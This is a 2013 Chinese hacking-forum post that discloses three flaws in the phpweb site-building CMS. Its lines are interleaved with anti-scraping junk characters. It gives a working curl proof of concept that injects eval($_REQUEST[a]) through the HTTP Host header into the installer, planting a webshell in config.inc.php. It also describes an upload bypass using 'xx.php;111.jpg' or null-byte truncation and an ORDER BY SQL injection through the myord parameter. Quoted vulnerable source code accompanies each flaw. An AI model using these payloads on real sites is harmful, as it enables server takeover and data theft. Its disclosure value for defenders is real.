找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2485|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:0 l3 k% Y" @" K4 \% k
. e3 W8 x) g" I7 ^# C
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码  f  k) a1 ^: \& `, Q2 T
  ~5 @+ l/ G! Q
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件4 O' d% ~. n  A& N4 o$ u
鸡肋2: 有一定安全常识的站长都会删掉 install 目录2 y$ R9 |% ~* z0 l( A: ]9 y

/ y/ z. A* H2 M- Z8 z虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响1 ^+ z) S! g& |7 }

" K3 f, O. k$ ?  k分析:
: l! I" |3 e' }0 ~2 M8 t8 v2 ? 0 Y6 A% t  T: G: x6 |/ N% n

' h$ ~( y- u$ J. w" ^  _8 x$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
8 a$ b9 W6 H: O  l, \
6 G8 _! r& f+ x& Q                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);8 e# F( t; ~, R
                                            $filestr=str_replace(" ","",$filestr);
* m5 e& T% e! v: j% u; h& ?4 P                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);+ s, T! b; y6 n( d
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
* x* s1 g/ W) U  o                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
, I  \4 o( s! n- ~                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);4 f  a: t# J5 D/ v
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
! n) ~; Q" x1 N# E8 V3 ]0 e                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);$ _( E( {4 Q- c/ c
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
5 |8 F% J. A' {0 }& B8 w# x: Z , f! M0 T5 c/ K+ f2 z& `
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);& U. n2 L, E: o$ K5 R, R0 z
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^- D0 p0 B; A, I& N9 t- d" `

2 l4 I# v( M" F, dpoc:: P2 o* @/ z5 l% q# u; T
3 {" u6 {( o& ]# R% D1 H
?' F  p1 B2 B1 x5 l% v
1
" I7 f" l# ^4 r( acurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#": S4 H( ?4 M0 b4 Q! A7 S
shell地址: /config.inc.php
/ p+ h/ T4 x* u跟之前的 phpcms一样 需要远程数据库4 b3 d) y+ R$ A/ I- g
0 ~7 `8 l  A+ g) X8 A0 U
——————————————————–
3 y' n# i6 @) j7 G上传漏洞(需要进后台):9 g5 P! [- P8 Z% O3 _, t; v
漏洞文件: /kedit/upload_cgi/upload.php) A) i, x0 d. o' y" S
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用* ]* _! }% T: G: a* @5 F
6 T/ f0 t$ h! a. F* ]  O
/ t: x3 F0 \& o# n
<?php4 n+ \$ |1 T% N! `
    define("ROOTPATH", "../../");5 M2 v/ w0 j* S0 f$ g4 h
    include(ROOTPATH."includes/admin.inc.php");
! B6 W" e9 V$ W. t) l    NeedAuth(0);
* |" U8 D0 q. _; N" F! q' H$ e
+ w: j9 S% @, ?5 p& F6 R6 X* Q    $dt=date("Ymd",time());3 p% S% S- e( r2 v
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
' v$ z( Z/ Z( O8 T            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
' a: q8 t  v( T5 r2 P4 b9 W    }# G$ }; D; O, R2 c' w
' [, F6 C7 I0 X  {( F
    //文件保存目录路径( U* d' P7 i) {' W! W
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
+ h$ P: v5 Y, R    echo $save_path;
+ T" d2 n2 N, A; G+ c+ Q$ Z( @    //文件保存目录URL
6 x' [! r$ M( D: T+ S9 ?/ O+ [    $save_url = '../../'.$_POST['attachPath'].$dt.'/';+ y, |3 V& S# O& R

* {3 ?# l. d8 F; U# a! f* \    //定义允许上传的文件扩展名' b, ^* y& |0 q9 f( F& F  e( c
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀, h' E6 i' H" N9 x! O/ j

" F" X7 Z, [+ B$ b    //最大文件大小  n7 G% e. w- H! ^6 Z
    $max_size = 1000000;
" h& o' }/ G( p0 H 2 b, L# |! h8 a" G5 P/ O: \
    //更改目录权限, K1 V& M, N( z5 e8 @- ^
    @mkdir($save_path, 0777);, f" P* X: L! t% j

; u& X) a1 [( j    //文件的全部路径4 s- O4 `) R) n3 g
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
4 W* U1 b$ }9 i& s 9 ~; q- q6 A  r' P1 f" b
    //文件URL
1 c8 w0 ?8 t: [! R: F    $file_url = $save_url.$_POST['fileName'];- u: k- q% s4 w/ X
//有上传文件时
: P) l7 Q3 W4 Y1 p5 B- g    if (empty($_FILES) === false) {
, R( Q5 f4 r, a) c. ]" A 6 V2 n6 Z7 T5 `* H
            //原文件名! f, U# Y& ?) X( B1 Z( q$ K
            $file_name = $_FILES['fileData']['name'];
' S( l, H- _- O9 P5 Q% E% l            //服务器上临时文件名
' c" f* N- U2 v) r' T            $tmp_name = $_FILES['fileData']['tmp_name'];
! Z9 i, B1 n( ~" L3 F1 {            //文件大小
, T+ a! P% ~% q0 v3 L/ ^            $file_size = $_FILES['fileData']['size'];7 n2 \, k# g4 P+ R0 C( k
            //检查目录
9 |* Z5 I5 M" R$ t* ~3 J* V            if (@is_dir($save_path) === false) {
# }; a) m* _% k$ F                    alert("上传目录不存在。");- Z/ F& s. `3 n& H( `6 X
            }. Q' s3 I5 U' e8 ~
            //检查目录写权限# M; u; K/ E  ~
            if (@is_writable($save_path) === false) {. H1 ~7 ?" g2 f3 h2 A& }: ^  K
                    alert("上传目录没有写权限。");
2 L0 \. i" }3 _0 q7 |+ Z# o" J            }6 _& H# }  @" V! c2 e# |
            //检查是否已上传
- c8 @& A5 n/ x: }/ E) n# B5 V/ e! _            if (@is_uploaded_file($tmp_name) === false) {, h  ]5 s6 p1 ?- U7 s
                    alert("临时文件可能不是上传文件。");6 B5 w* _" s0 h  R% l# M& ^/ C  I
            }
. K& W1 ^7 U' l, r5 G# ]. \            //检查文件大小
" P( \% s; e" L) x! X! \6 Z            if ($file_size > $max_size) {
* q6 }, W9 G0 S# t. w  Y$ X                    alert("上传文件大小超过限制。");; e* |2 x; V( A  Y( m
            }- y' z  L1 h0 W4 I" [
            //获得文件扩展名
  R/ ^2 _2 f9 _- u" X            $temp_arr = explode(".", $_POST['fileName']);4 O- f( O% i9 T* e! R" a
            $file_ext = array_pop($temp_arr);
/ U( b# z( P0 @% `% u5 C/ {: i            $file_ext = trim($file_ext);
- z# a- j, @, D+ A0 O# ?            $file_ext = strtolower($file_ext);  ?8 ~& `, F2 v' @' W$ Q

, V2 m3 S0 D4 s$ r& E0 p            //检查扩展名   
1 S8 f/ t) w! F5 s" j            if (in_array($file_ext, $ext_arr) === false) {     
9 y& `) A; U; I8 n: Y4 @3 @                    alert("上传文件扩展名是不允许的扩展名。");
% ]" W" c( t5 H6 Y6 }. n            }& i2 }0 I/ \. [$ d8 I* m! M0 O0 |( k2 ^

$ m$ s5 V: c# N' z. u            //移动文件   
3 U3 j# `' W% I            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
. Z# X1 R4 L% R- |+ K            if (move_uploaded_file($tmp_name, $file_path) === false) {
6 v' K- c- X: ?# ?                    alert("上传文件失败。");
; H) v1 p5 Y2 C# V$ E            }
- P9 r/ T$ }( o; I
% }0 i8 ~% e& A: t. ^, b- d            @chmod($file_path,0666);4 A$ [8 e  C" A/ N4 }$ @
9 W+ \7 C, _4 d1 F- Y* T% y
    ?>
+ W' z. w0 v1 l3 y) y抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2278 O" }2 p" o+ v) S& h

! p7 f0 ^8 I1 T5 ^apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
- o# g/ u9 z; S& p% \2 B # _0 j; G, Z+ S3 h1 }. x
——————————————————
9 m2 j' \" |6 n+ |! q" |1 Z: h! t  _注入漏洞:- t" o" E. M- H4 o; [9 p, Q
漏洞文件:search/module/search.php# ?' O- O+ F; a) S2 Y7 ]
/search/index.php?key=1&myord=1 [sqlinjection]
1 f2 z' F3 j4 @& G( h; {: e. ?
$ q3 d, u$ V1 R9 `. z 3 a+ Q. n+ K: h6 e% A% m
<?php
3 t# P9 C4 \1 ^5 F0 n/ d   //       ... 省略 n 行...
; n6 }: y- k& o, g  g# d   //第18行:
( O1 c5 ~: s" z6 N5 S( k' w           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
; Y# X3 `9 L. t" K, m           $page=htmlspecialchars($_GET["page"]);
9 m/ _2 g2 a! c. E- F1 z& I0 [) g           $myord=htmlspecialchars($_GET["myord"]);; d( n7 W9 d6 ]1 n3 v
- F& p2 {# p7 r0 k; W" z" q
   //       ... 省略 n 行...( b" {# k7 j* u( U
   $key,$myord 两个参数带入查询3 R! a6 z: }5 {3 A2 d9 I
   //第47行 $key:
/ a+ S2 m7 R9 h9 C; m/ v9 ^( P
# O1 F) P& I: V   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..; h1 \2 z* V$ s0 F7 Z4 H, Z
" Z$ l$ e8 o2 z
   //第197行 $myord" O2 X' b/ F1 B9 k+ @7 g. f
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
$ E! w; l" P/ q( h$ q8 K 2 W0 ~  @5 P0 H; ^
   ?>" c, `9 M1 o: r. M2 \& {# t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表